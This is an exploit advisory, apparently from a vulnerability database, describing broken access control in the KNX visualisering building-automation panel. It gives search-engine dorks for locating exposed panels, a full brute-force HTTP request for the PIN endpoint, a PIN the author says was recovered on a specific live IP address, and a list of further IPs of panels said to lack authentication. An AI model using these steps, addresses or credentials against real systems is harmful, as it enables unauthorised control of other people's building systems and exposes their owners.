📄 KNX visualisering Broken Access Control

🗓️ 07 Jul 2026 00:00:00Reported by parsa rezaie khiabanlooType

KNX visualisering has broken access control enabling PIN brute-force on unsecured panels.

# Exploit Title: KNX visualisering - Broken Access Control
    # Date: 6/10/2026
    # Exploit Author: parsa rezaie khiabanloo
    # Vendor Homepage: KNX visualisering (https:/www.knxgroep.nl)
    # Version: KNX visualisering
    # Tested on: Windows/Linux
    
    Step 1 : Attacker can using these dorks then can find the KNX panel .
    
    Shodan :   title:"KNX visualisering"  OR  https://www.shodan.io/search?query=title%3A%22KNX+visualisering%22
    
    ZoomEye : "KNX visualisering" OR https://www.zoomeye.ai/searchResult?q=IktOWCB2aXN1YWxpc2VyaW5nIg%3D%3D
    
    Fofa : ("KNX visualisering") && icon_hash=="2019991370" OR https://en.fofa.info/result?qbase64=KCJLTlggdmlzdWFsaXNlcmluZyIpICYmIGljb25faGFzaD09IjIwMTk5OTEzNzAi
    
    
    Step 2 : We Found pincode panel and they dont have RateLimit so attacker can brute force it using tools like BrupSuite.
    
    The attacker can try several numbers to know what the length of the number is for that panel, for example, one panel is 4 digits or another panel is 6 digits.
    
    Notic : Most panels Dont need authentication
    
    Example : 
    
    Attacker used the dorks and founded this IP 62.163.74.206 after that attacker use the Burp Suite to brute force it .
    
    Request :
    
    POST /scada-vis/pin?return=index HTTP/1.1
    Host: 62.163.74.206
    Content-Length: 10
    Cache-Control: max-age=0
    Accept-Language: en-US,en;q=0.9
    Origin: http://62.163.74.206
    Content-Type: application/x-www-form-urlencoded
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://62.163.74.206/scada-vis/pin?return=index
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    pin=123456
    
    
    In the up request attack will know the pin length is 6 so now attacker going to try 6 numbers from 000000 to 999999 .
    
    I founded the pin and that is 200908 .
    
    Response :
    
    HTTP/1.1 302 Moved Temporarily
    Date: Wed, 10 Jun 2026 07:26:40 GMT
    Content-Type: text/html
    Content-Length: 126
    Connection: keep-alive
    Set-Cookie: pin=200908; Path=/
    Location: /scada-vis/index
    
    <html>
    <head><title>302 Found</title></head>
    <body bgcolor="white">
    <center><h1>302 Found</h1></center>
    </body>
    </html>
    
    
    
    Some Panels without authentication :
    
    https://85.147.34.42/scada-vis
    
    https://185.72.160.230/scada-vis

07 Jul 2026 00:00Current

5.9Medium risk

Vulners AI Score5.9